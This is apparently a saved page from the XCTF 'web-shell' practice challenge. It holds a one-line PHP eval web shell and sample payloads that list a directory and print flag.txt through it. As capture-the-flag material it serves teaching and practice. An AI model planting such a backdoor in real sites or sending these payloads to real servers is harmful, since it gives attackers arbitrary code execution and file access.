XCTF web-shell
<!-- saved from url=(0027)http://111.198.29.45:31641/ -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>webshell</title>
<link href="./webshell_files/bootstrap.min.css" rel="stylesheet">
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<h3>你會使用webshell嗎？</h3>
<form action="http://111.198.29.45:31641/index.php" method="post">
<input type="text" name="shell" value="print_r(scandir(getcwd()));">
<input type="submit" value="submit">
print_r(show_source('flag.txt'));
</form>
<?php @eval($_POST['shell']);?>
</body></html>
web-execution
